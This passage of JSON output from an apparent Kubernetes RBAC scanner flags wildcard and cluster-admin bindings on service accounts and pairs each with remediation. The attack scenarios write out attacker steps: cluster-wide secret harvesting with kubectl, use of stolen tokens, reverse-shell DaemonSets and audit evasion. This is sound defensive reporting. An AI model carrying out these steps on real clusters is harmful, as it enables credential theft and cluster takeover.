      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide cluster-admin (full read/write to every resource in every namespace)"
    },
    "impact": "Full cluster control: read/write every resource cluster-wide, mint any token, modify any binding, schedule on any node. Equivalent to root on the entire cluster.",
    "attack_scenario": [
      "Attacker compromises ServiceAccount/rbac-fixtures/sa-cluster-admin (stolen kubeconfig, OIDC session hijack, leaked CI credential, or compromised pod mounting the SA token).",
      "They run `kubectl auth can-i '*' '*' --all-namespaces` and confirm `yes`.",
      "They harvest all Secrets cluster-wide for cloud-credential pivot.",
      "They establish persistence by minting a 1-year TokenRequest for `kube-system/clusterrole-aggregation-controller`, or by creating a benign-looking ClusterRoleBinding to a backup identity.",
      "They use cluster-admin to disable audit logging or admission controllers, then move quietly through cloud APIs via IRSA/Workload-Identity-mapped credentials."
    ],
    "evidence": {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "scope": "cluster",
      "source_binding": "crb-cluster-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": null
    },
    "remediation": "Replace `cluster-admin` with a custom least-privilege ClusterRole, or scope the binding to a dedicated short-lived admin group reachable only via JIT/break-glass procedures.",
    "remediation_steps": [
      "Identify what the subject actually does. Audit logs over a representative window will show real verbs/resources for workloads; ask the team for humans.",
      "Author a custom ClusterRole listing only the (apiGroups, resources, verbs) actually needed. Replace the binding to point at the new ClusterRole. Bias toward namespace-scoped Role + RoleBinding wherever possible.",
      "For genuine emergency-admin needs, move to a break-glass model: a separate `cluster-admin-jit` group reachable only via approved JIT (AWS SSO, GCP IAP, HashiCorp Boundary) with mandatory MFA, time-boxed expiry, and SIEM alerting.",
      "Add a ValidatingAdmissionPolicy that rejects new ClusterRoleBindings to `cluster-admin` outside the break-glass group.",
      "Verify: `kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects'` shows only break-glass principals and `system:` subjects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/",
      "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: cluster-admin restrictions",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — User-facing roles (cluster-admin, admin, edit, view)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles"
      },
      {
        "title": "CIS Kubernetes Benchmark — 5.1.1 Cluster-admin restrictions",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Cluster-admin binding",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Cluster-admin%20binding/"
      },
      {
        "title": "Elastic Detection — Kubernetes Cluster-Admin Role Binding Created",
        "url": "https://www.elastic.co/guide/en/security/8.19/kubernetes-cluster-admin-role-binding-created.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1548",
        "name": "Abuse Elevation Control Mechanism",
        "url": "https://attack.mitre.org/techniques/T1548/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-001:ServiceAccount/cert-manager/cert-manager",
    "rule_id": "KUBE-SA-PRIVILEGED-001",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/cert-manager/cert-manager` holds wildcard verbs on wildcard resources (cluster-admin equivalent)",
    "description": "ServiceAccount `ServiceAccount/cert-manager/cert-manager` is bound to a Role/ClusterRole that grants `verbs: [*]` on `resources: [*]` (and typically `apiGroups: [*]`). This is structurally indistinguishable from `cluster-admin`. Every API operation on every resource is authorized.\n\nAggregated rules:\n  - verbs [*] on resources [*] (from cutres-deputy-cm-admin/cluster-admin in cluster-wide)\n  - verbs [*] on resources [] (from cutres-deputy-cm-admin/cluster-admin in cluster-wide)\n\nWildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting `cluster-admin` for an operator the team didn't have time to scope down; (b) a wildcard added \"temporarily\" during integration that never got rotated; (c) a third-party operator's installer that ships with `*/*` and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.\n\nWorkloads using this SA: no workloads currently mount this SA. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cert-manager",
      "namespace": "cert-manager"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "cert-manager",
      "namespace": "cert-manager"
    },
    "namespace": "cert-manager",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `cert-manager/cert-manager`: namespace-scoped subject; mounted by pods in `cert-manager`"
    },
    "impact": "A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.",
    "attack_scenario": [
      "Attacker compromises any of the workloads using `ServiceAccount/cert-manager/cert-manager` (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).",
      "They `kubectl auth can-i '*' '*' --all-namespaces --token=\u003cstolen-token\u003e` and confirm full reach.",
      "They `kubectl get secrets -A -o yaml` to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).",
      "They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with `failurePolicy: Ignore` so removal does not break clusters.",
      "They cover by deleting their own audit-log entries via `kubectl delete events` (allowed under `*/*`) and rotating the SA's token to invalidate IR's existing copies."
    ],
    "evidence": {
      "rules": [
        {
          "api_groups": [
            "*"
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "*"
          ],
          "source_binding": "cutres-deputy-cm-admin",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        },
        {
          "api_groups": null,
          "namespace": "",
          "resource_names": null,
          "resources": null,
          "source_binding": "cutres-deputy-cm-admin",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        }
      ],
      "workloads": null
    },
    "remediation": "Replace the wildcard binding on `ServiceAccount/cert-manager/cert-manager` with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.",
    "remediation_steps": [
      "Identify the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"ServiceAccount\" and .name == \"cert-manager\" and .namespace == \"cert-manager\")'`.",
      "Generate a least-privilege role from the workload's actual API calls. Capture them with `audit2rbac` (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.",
      "Create a Role/ClusterRole with the minimum verbs and bind it to `ServiceAccount/cert-manager/cert-manager`. Verify with `kubectl auth can-i` for the actual operations the workload needs (and only those).",
      "Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.",
      "Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting `verbs: ['*']` on `resources: ['*']` to a non-system subject."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:clusterAdminStyle"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-001:ServiceAccount/cutres/cutres-detour",
    "rule_id": "KUBE-SA-PRIVILEGED-001",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/cutres/cutres-detour` holds wildcard verbs on wildcard resources (cluster-admin equivalent)",
    "description": "ServiceAccount `ServiceAccount/cutres/cutres-detour` is bound to a Role/ClusterRole that grants `verbs: [*]` on `resources: [*]` (and typically `apiGroups: [*]`). This is structurally indistinguishable from `cluster-admin`. Every API operation on every resource is authorized.\n\nAggregated rules:\n  - verbs [create update patch] on resources [rolebindings] (from cutres-detour-binder/cutres-detour-binder in cutres)\n  - verbs [bind] on resources [clusterroles] (from cutres-detour-bind/cutres-detour-bind in cluster-wide)\n  - verbs [*] on resources [*] (from cutres-detour-direct/cluster-admin in cluster-wide)\n  - verbs [*] on resources [] (from cutres-detour-direct/cluster-admin in cluster-wide)\n\nWildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting `cluster-admin` for an operator the team didn't have time to scope down; (b) a wildcard added \"temporarily\" during integration that never got rotated; (c) a third-party operator's installer that ships with `*/*` and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.\n\nWorkloads using this SA: no workloads currently mount this SA. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "namespace": "cutres",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `cutres/cutres-detour`: namespace-scoped subject; mounted by pods in `cutres`"
    },
    "impact": "A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.",
    "attack_scenario": [
      "Attacker compromises any of the workloads using `ServiceAccount/cutres/cutres-detour` (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).",
      "They `kubectl auth can-i '*' '*' --all-namespaces --token=\u003cstolen-token\u003e` and confirm full reach.",
      "They `kubectl get secrets -A -o yaml` to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).",
      "They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with `failurePolicy: Ignore` so removal does not break clusters.",
      "They cover by deleting their own audit-log entries via `kubectl delete events` (allowed under `*/*`) and rotating the SA's token to invalidate IR's existing copies."
    ],
    "evidence": {
      "rules": [
        {
          "api_groups": [
            "rbac.authorization.k8s.io"
          ],
          "namespace": "cutres",
          "resource_names": null,
          "resources": [
            "rolebindings"
          ],
          "source_binding": "cutres-detour-binder",
          "source_role": "cutres-detour-binder",
          "verbs": [
            "create",
            "update",
            "patch"
          ]
        },
        {
          "api_groups": [
            "rbac.authorization.k8s.io"
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "clusterroles"
          ],
          "source_binding": "cutres-detour-bind",
          "source_role": "cutres-detour-bind",
          "verbs": [
            "bind"
          ]
        },
        {
          "api_groups": [
            "*"
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "*"
          ],
          "source_binding": "cutres-detour-direct",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        },
        {
          "api_groups": null,
          "namespace": "",
          "resource_names": null,
          "resources": null,
          "source_binding": "cutres-detour-direct",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        }
      ],
      "workloads": null
    },
    "remediation": "Replace the wildcard binding on `ServiceAccount/cutres/cutres-detour` with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.",
    "remediation_steps": [
      "Identify the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"ServiceAccount\" and .name == \"cutres-detour\" and .namespace == \"cutres\")'`.",
      "Generate a least-privilege role from the workload's actual API calls. Capture them with `audit2rbac` (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.",
      "Create a Role/ClusterRole with the minimum verbs and bind it to `ServiceAccount/cutres/cutres-detour`. Verify with `kubectl auth can-i` for the actual operations the workload needs (and only those).",
      "Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.",
      "Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting `verbs: ['*']` on `resources: ['*']` to a non-system subject."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:clusterAdminStyle"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-001:ServiceAccount/cutres/cutres-parallel",
    "rule_id": "KUBE-SA-PRIVILEGED-001",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/cutres/cutres-parallel` holds wildcard verbs on wildcard resources (cluster-admin equivalent)",
    "description": "ServiceAccount `ServiceAccount/cutres/cutres-parallel` is bound to a Role/ClusterRole that grants `verbs: [*]` on `resources: [*]` (and typically `apiGroups: [*]`). This is structurally indistinguishable from `cluster-admin`. Every API operation on every resource is authorized.\n\nAggregated rules:\n  - verbs [*] on resources [*] (from cutres-parallel-a/cluster-admin in cluster-wide)\n  - verbs [*] on resources [] (from cutres-parallel-a/cluster-admin in cluster-wide)\n  - verbs [*] on resources [*] (from cutres-parallel-b/cluster-admin in cluster-wide)\n  - verbs [*] on resources [] (from cutres-parallel-b/cluster-admin in cluster-wide)\n\nWildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting `cluster-admin` for an operator the team didn't have time to scope down; (b) a wildcard added \"temporarily\" during integration that never got rotated; (c) a third-party operator's installer that ships with `*/*` and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.\n\nWorkloads using this SA: no workloads currently mount this SA. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-parallel",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "cutres-parallel",
      "namespace": "cutres"
    },
    "namespace": "cutres",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `cutres/cutres-parallel`: namespace-scoped subject; mounted by pods in `cutres`"
    },
    "impact": "A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.",
    "attack_scenario": [
      "Attacker compromises any of the workloads using `ServiceAccount/cutres/cutres-parallel` (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).",
      "They `kubectl auth can-i '*' '*' --all-namespaces --token=\u003cstolen-token\u003e` and confirm full reach.",
      "They `kubectl get secrets -A -o yaml` to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).",
      "They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with `failurePolicy: Ignore` so removal does not break clusters.",
      "They cover by deleting their own audit-log entries via `kubectl delete events` (allowed under `*/*`) and rotating the SA's token to invalidate IR's existing copies."
    ],
    "evidence": {
      "rules": [
        {
          "api_groups": [
            "*"
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "*"
          ],
          "source_binding": "cutres-parallel-a",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        },
        {
          "api_groups": null,
          "namespace": "",
          "resource_names": null,
          "resources": null,
          "source_binding": "cutres-parallel-a",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        },
        {
          "api_groups": [
            "*"
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "*"
          ],
          "source_binding": "cutres-parallel-b",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        },
        {
          "api_groups": null,
          "namespace": "",
          "resource_names": null,
          "resources": null,
          "source_binding": "cutres-parallel-b",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        }
      ],
      "workloads": null
    },
    "remediation": "Replace the wildcard binding on `ServiceAccount/cutres/cutres-parallel` with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.",
    "remediation_steps": [
      "Identify the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"ServiceAccount\" and .name == \"cutres-parallel\" and .namespace == \"cutres\")'`.",
      "Generate a least-privilege role from the workload's actual API calls. Capture them with `audit2rbac` (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.",
      "Create a Role/ClusterRole with the minimum verbs and bind it to `ServiceAccount/cutres/cutres-parallel`. Verify with `kubectl auth can-i` for the actual operations the workload needs (and only those).",
      "Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.",
      "Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting `verbs: ['*']` on `resources: ['*']` to a non-system subject."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:clusterAdminStyle"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-001:ServiceAccount/deepchain-tenant/deepchain-privileged",
    "rule_id": "KUBE-SA-PRIVILEGED-001",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/deepchain-tenant/deepchain-privileged` holds wildcard verbs on wildcard resources (cluster-admin equivalent)",
    "description": "ServiceAccount `ServiceAccount/deepchain-tenant/deepchain-privileged` is bound to a Role/ClusterRole that grants `verbs: [*]` on `resources: [*]` (and typically `apiGroups: [*]`). This is structurally indistinguishable from `cluster-admin`. Every API operation on every resource is authorized.\n\nAggregated rules:\n  - verbs [*] on resources [*] (from deepchain-privileged/cluster-admin in cluster-wide)\n  - verbs [*] on resources [] (from deepchain-privileged/cluster-admin in cluster-wide)\n\nWildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting `cluster-admin` for an operator the team didn't have time to scope down; (b) a wildcard added \"temporarily\" during integration that never got rotated; (c) a third-party operator's installer that ships with `*/*` and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.\n\nWorkloads using this SA: no workloads currently mount this SA. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-privileged",
      "namespace": "deepchain-tenant"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "deepchain-privileged",
      "namespace": "deepchain-tenant"
    },
    "namespace": "deepchain-tenant",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `deepchain-tenant/deepchain-privileged`: namespace-scoped subject; mounted by pods in `deepchain-tenant`"
    },
    "impact": "A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.",
    "attack_scenario": [
      "Attacker compromises any of the workloads using `ServiceAccount/deepchain-tenant/deepchain-privileged` (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).",
      "They `kubectl auth can-i '*' '*' --all-namespaces --token=\u003cstolen-token\u003e` and confirm full reach.",
      "They `kubectl get secrets -A -o yaml` to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).",
      "They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with `failurePolicy: Ignore` so removal does not break clusters.",
      "They cover by deleting their own audit-log entries via `kubectl delete events` (allowed under `*/*`) and rotating the SA's token to invalidate IR's existing copies."
    ],
    "evidence": {
      "rules": [
        {
          "api_groups": [
            "*"
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "*"
          ],
          "source_binding": "deepchain-privileged",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        },
        {
          "api_groups": null,
          "namespace": "",
          "resource_names": null,
          "resources": null,
          "source_binding": "deepchain-privileged",
          "source_role": "cluster-admin",
          "verbs": [
            "*"
          ]
        }
      ],
      "workloads": null
    },
    "remediation": "Replace the wildcard binding on `ServiceAccount/deepchain-tenant/deepchain-privileged` with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.",
    "remediation_steps": [
      "Identify the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"ServiceAccount\" and .name == \"deepchain-privileged\" and .namespace == \"deepchain-tenant\")'`.",
      "Generate a least-privilege role from the workload's actual API calls. Capture them with `audit2rbac` (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.",
      "Create a Role/ClusterRole with the minimum verbs and bind it to `ServiceAccount/deepchain-tenant/deepchain-privileged`. Verify with `kubectl auth can-i` for the actual operations the workload needs (and only those).",
      "Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.",
      "Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting `verbs: ['*']` on `resources: ['*']` to a non-system subject."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
